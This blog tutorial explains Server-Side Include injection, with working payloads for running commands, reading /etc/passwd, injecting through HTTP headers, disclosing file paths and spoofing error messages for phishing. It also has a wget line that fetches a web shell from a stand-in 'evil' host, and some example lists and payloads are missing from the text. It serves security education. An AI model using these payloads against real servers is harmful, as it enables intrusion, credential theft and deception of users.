Introduction and Overview:
Greetings Internet. First off – allow me to apologize for the delay since my last post… things have been incredibly busy so I’ve not had time to update this blog properly (although there are several partially-written draft posts that I’ll get around to finishing this week.
The purpose of this blog post series is to expose new(er) hackers to lesser-known attack vectors that they may not necessarily be familiar with. While there may not be a new post every week, I will try my best to keep up with the schedule!
What exactly is SSI?
Server-Side Includes are an interpreted server-sided scripting language which allow you to include dynamically-generated content into a HTML page without needing to rely on a CGI program or other dynamic technologies. While you won’t often find server-side includes in use on modern systems (as there are more viable modern alternatives these days), it is still worth being aware of this attack, not only for historical purposes but also because you will still occasionally find this in the wild – for example, around two weeks ago I had a bug triaged by Verizon Media for an actively-working SSI Injection vulnerability.
In order for server-side includes to be enabled, the following directive must be set via the configuration file for your HTTP Deamon (httpd.conf) or via your .htaccess file:
You won’t see sever-side includes in regular HTML files (unless the sysadmin has performed some .htaccess tricks to enable such a thing – but it’s not the default). Instead, there is a custom extension for server-side includes, which is .shtml. Other extensions that are used for SSI are the following:
- .shtml (as mentioned above)
In order to check whether SSI is in use, then (assuming you don’t have the ability to read the htaccess file or HTTPd config file) you should check whether there are pages on the sites using the extensions listed above, then you should view the page source to see whether server-side includes are in use. If the page is using SSI, then you’ll be able to see them in use in the page source. It will look something like the following:
<!--#echo var="DATE_LOCAL" -->
using the “echo” command with the variable value of DATE_LOCAL will output the current date to the webpage, so, once the webpage is rendered and the SSI is interpreted, the output will look something like the following:
Tuesday, 17-Aug-2021 16:15:21 EDT
There are a number of SSI commands, many of which can be used for exploitation in a number of different manners. There are far too many to cover here, although I’ll still be covering some of the more well-known exploitation scenarios. For a full list of SSI commands including usage scenarios, this webpage from w3 covers everything you need to know.
The syntax of an SSI command is the following:
<!--#function attribute=value attribute=value ... -->
As stated previously, there are too many SSI commands/functions for us to cover here, but some of the more common ones are:
What is SSI Injection?
Like XSS, SSI injections can be both stored or non-persistent. It should also be noted that some of the filter bypass methods that apply to XSS can also be applied to server-side includes. For example, if “<” is being stripped from your inputs then it is often possible to use HTML character escape sequences or other forms of encoding to inject the opening tag anyways… or, for example, in certain contexts, you could use // to close a tag in instances where “>” is stripped or filtered. Also like XSS, your payloads may need to be tweaked slightly based upon where exactly within the HTML source your inputs are being reflected to.
Exploiting SSI Injection scenarios:
In order to successfully exploit an SSI Injection scenario, the following conditions must be met:
- The webpage supports dynamic content via Server-Side Includes
- It is possible to have your user inputs reflected somewhere into the webpage
- Your reflected inputs aren’t being sanitized
If input sanitization is taking place, and the inputs that are being sanitized are the same inputs used for HTML tags or SSI directives, then the page won’t be vulnerable without a viable filter bypass methods. The following chars or keywords are required by server-side includes:
By finding a user input where it is possible to have your own server-side include reflected to the webpage, it is possible to create a number of exploitation scenarios using SSI. The highest impact of these exploitation scenarios would be Remote Code Execution, allowing for a complete compromise of the target server. It should be noted that RCE is triggered via the exec directive which will be disabled by default on the majority of webservers (especially on more modern applications), so, with this in mind, it is worth testing for SSI by making use of other directives which may not necessarily be blocked, such as include or echo.
If the exec directive is working, then getting RCE is very straightforward, you could input the following command and if it is reflected to the page without being sanitized, then it will be rendered dynamically and the page output will contain the results of your command(s) being executed:
<!--#exec cmd="cat /etc/passwd" -->
To spawn a shell, you would simply curl or wget the path to the shell on your server as a textfile, and then use a secondary command to rename the extension from .txt to .php (unless you’re back-connecting of course, in which case there are a myriad of methods you can use):
<!--#exec cmd="wget http://your.evil.site.com/shell.txt | mv shell.txt shell.php" -->
It is worth remembering that some systems with SSI enabled will be running Linux, while others will be running Windows – with that in mind, it is best to avoid commands which are written differently based upon the operating system in use. For example, to view a directory listing, the command on Linux would be ls while the command on Windows would be dir. Ideally, you want to be using a command that will still execute regardless of the operating system in use. One such command could be whoami.
As stated above, in many instances, the page could still be vulnerable to SSI Injection, but the exec function could be disabled, meaning direct command execution won’t be possible.
protip: in some instances, the webpage will be taking values from other HTTP headers as opposed to just using POST/GET, and it will then be using these values to dynamically build content for the webpage therefore it is worth testing other HTTP headers, rather than just POST/GET inputs. For example: GET / HTTP/1.1 Host: www.example.com Referer: <!--#exec cmd="uname -a"--> User-Agent: <!--#include virtual="/etc/passwd"--> X-Forwarded-for: <!--#exec cmd="whoami" -->
Below, I will list some exploitation scenarios for SSI which do not rely on the exec function, and instead make use of other functions that are less likely to be blocked.
The “include” functions can be used to include file contents, like so:
<!--#include file="/etc/passwd" -->
Or, via the “virtual” attribute, like so:
<!--#include virtual="/etc/passwd" -->
It is worth noting that based on whether or not the webserver is running Linux or Windows, it will be necessary to change the value for the attribute accordingly. For example, if it is running windows and you were using include with the “file” attribute, you would need to add the drive name and replace forward-slashes with back-slashes, like so:
<!--#include file="C:\path\to\file.ext" -->
It is possible to use the config directive to achieve a number of things For a full list, check the link from w3 that I linked earlier. One exploitation scenario involving this directive is to spoof error messages to a custom value, like so:
<!--#config errmsg="Please run this malicious executable so we can SE you, lol" -->
An exploitation scenario utilizing a malicious error message could play out like so:
- Attacker finds a stored/persistent SSI Injection scenario
- Attacker injects their SSI payload to spoof error messages
- Victim ends up viewing an error page
- Error message is set to value controlled by attacker
- Victim is socially engineered into being spear phished, downloading malware, or doing whatever else they can think of in order to trick users into getting pwned.
The third and final SSI directive that I will be covering for its exploitation potential is the echo directive. This directive can be used for a number of information disclosure methods, a few of which I will list below.
You can echo the DOCUMENT_URI var value which will output the current filename and also the virtual path in use:
<!--#echo var="DOCUMENT_URI" -->
The “reqstate” attribute with “pathinfo” value can be used in order to output the full path to the current file. This is especially useful in scenarios where you’re able to use the “file” or “virtual” attributes with the “include” directive in order to perform local file disclosure. If you have a scenario where you cannot achieve direct RCE via “exec”, and you are able to use the “include” directive to read local files, then this could be paired with the “reqstate” attribute to disclose the full path, which could then be used in order to read config filers from the webroot directory, potentially allowing you to read config files containing credentials which could then be used to authenticate and perform privilege escalation. FPD can be triggered in this manner like so:
<!--#echo reqstate="pathinfo" -->
Finally, I will be covering an outdated exploitation scenario which is still worth covering for historical purposes despite it no longer working, as it’s an interesting payload. In older versions of IIS (4x/5x) it was possible to trigger a Buffer Overflow in ssinc.ddl which is a Dynamic Link Library used by Windows to interpret Server Side Includes. This was achieved through the “include” directive being combined with an unrelated Path Traversal attack. First, an attacker would create an .shtml file using the include directive while setting the “file” attribute to a value greater than 2048 bytes, like so:
Once the malicious .shtml file has been created, an attacker would then include it via the path traversal, in a similar manner to how RFI (Remote File Inclusion) attacks wouild take place:
While the above attack no longer works on modern systems, I still bothered to include it as a non-conventional example of exploitation of SSI, as hopefully it could inspire someone to find zero0day exploits making use of somewhat similar methods to trigger an overflow.
That’s all for now. In the third “technique of the week” series I will actually be covering two different technique in the same post: CSS Injection and XSSi (Cross-Site Script Inclusion).
If you have any question s about SSI, or would like a follow-up post demonstrating different filter evasion scenarios for SSI Injection, then feel free to leave a comment here or shoot me a message on twitter, and I will follow up with a part two.